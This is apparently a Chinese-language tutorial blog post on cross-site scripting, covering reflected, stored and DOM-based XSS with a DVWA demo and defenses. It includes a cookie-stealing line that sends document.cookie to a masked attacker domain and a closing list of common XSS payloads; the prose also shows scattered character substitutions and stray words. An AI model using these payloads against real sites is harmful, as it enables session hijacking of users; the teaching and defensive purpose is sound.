XSS(跨站脚本攻击)简单讲解

1.1 XSS简介

跨站脚本攻击(XSS),是最广泛的Web应用安全漏洞。这类漏洞可以使得攻击者嵌入恶意脚本代码(通常是JS代码)到正经常使用户会访问到的页面中,当正经常使用户访问该页面时,则可致使嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。它经常与其余漏洞一块儿形成破坏性的后果。javascript

1.2 XSS的分类

XSS漏洞表现为多种形式,而且分为三种类型:反射型、储存型,DOM型。这些有一些相同的特色,可是在如何肯定和利用方面有一些区别,下面依次分析他们。css

1.2.1 反射型XSS

反射型XXS是一种非持久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。html

提取用户提交的输入并将其插入到服务器相应的html代码中,这是XSS漏洞的明显特征,若是应用程序没有实施任何过滤和净化,那么它很容易被攻击。java

下面我就用DVWA为你们进行演示,在输入框中我们构造以下JS代码数据库

 

<script>alert('XSS')</script>

这代码是进行弹窗操做,若是页面出现弹窗,说明我们插入的恶意代码被执行,结果以下图express

进行这个简单的测试,有助于澄清两个重要问题,首先,name参数的内容可用任何返回给浏览器的数据代替,其次,不管服务器端应用程序如何处理这些数据,都没法阻止提交JS代码,一旦提交数据,这些代码就会执行。后端

那咱们该如何利用反射型XSS漏洞呢?浏览器

最简单的一种攻击就是攻击者截获经过验证用户的会话令牌。劫持用户的会话后,攻击者就能够访问该用户经受权访问的全部数据和功能。下面为你们画图演示一下截获令牌的过程。安全

 

攻击者建立的恶意代码为服务器

var i=new Image; i.src="http://马赛克.com/"+document.cookie;

这段代码可让用户浏览器向马赛克.com(攻击者拥有的一个域)提出一个请求。请求中包含用户访问应用程序的当前会话令牌。

1.2.2 存储型XSS

若是一名用户提交的数据被保存到数据库中,而后不通过过滤或净化就显示给其余用户,这时候就会出现存储型XSS。

利用存储型XSS漏洞的攻击至少须要向应用程序提出两个请求。攻击者在第一个请求中构造JavaScript,应用程序接受并保存。在第二个请求中,一名受害者查看包含恶意代码的页面,这时JavaScript开始执行。

依然是会话劫持,为你们画图演示一下。

 

 由于存储型XSS是永久性的,因此每每形成更大的安全威胁。攻击者能够向应用程序提交一些专门设计的数据,而后等待受害者访问它们。若是其中一位受害者是管理员,那么攻击者能够彻底攻破整个应用程序。

1.2.3 DOM型XSS

反射型和储存型XSS漏洞都表现出一种特殊的行为模式,其中应用程序提取用户控制的数据并以危险的方式将这些数据返回给用户。DOM型XSS没有这种特色,在这种漏洞中,攻击者的JavaScript经过下面方式提交。

1,用户请求一个通过专门设计的URL,它由攻击者提交,而且其中包含嵌入式JavaScript。

2,服务器的响应中并不以任何形式包含攻击者的代码。

3,当用户的浏览器处理这个响应时,上述脚本得以处理。


在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面建立一个顶级的Document object文档对象,接着生成各个子文档对象,每一个页面元素对应一个文档对象,每一个文档对象包含属性、方法和事件。能够经过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序能够经过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就能够利用JS脚原本实现XSS漏洞的利用。

可能触发DOM型XSS的属性:

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

 

1.3 xss防护

一,对输入内容的特定字符进行过滤,例如 < > 等符号。

可使用 htmlentities()函数,htmlspecialchars()函数

htmlentities()和htmlspecialchars()这两个函数对单引号(')之类的字符串支持很差,都不能转化,因此用htmlentities()和htmlspecialchars()转化的字符串只能防止XSS攻击,不能防止SQL注入攻击。

二,对重要的 cookie设置 httpOnly, 防止客户端经过document.cookie读取 cookie,此 HTTP头由服务端设置。

三, 将不可信的值输出 URL参数以前,进行 URLEncode操做,而对于从 URL参数中获取值必定要进行格式检测(好比你须要的时URL,就判读是否知足URL格式)。

四,后端接口也应该要作到关键字符过滤的问题。

 

最后从网上收集了一些经常使用跨站一句话代码,有补充直接下方留言

<script>alert("XSS")</script> 
<meta http-equiv="refresh" content="1;url=http://www.baidu.com"> 
<script language=vbscript> window.location.href="http://www.baidu.com" </script>
<iframe name="I1" src="http://www.baidu.com/" width="0" height="0"> </iframe>
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
相关文章
相关标签/搜索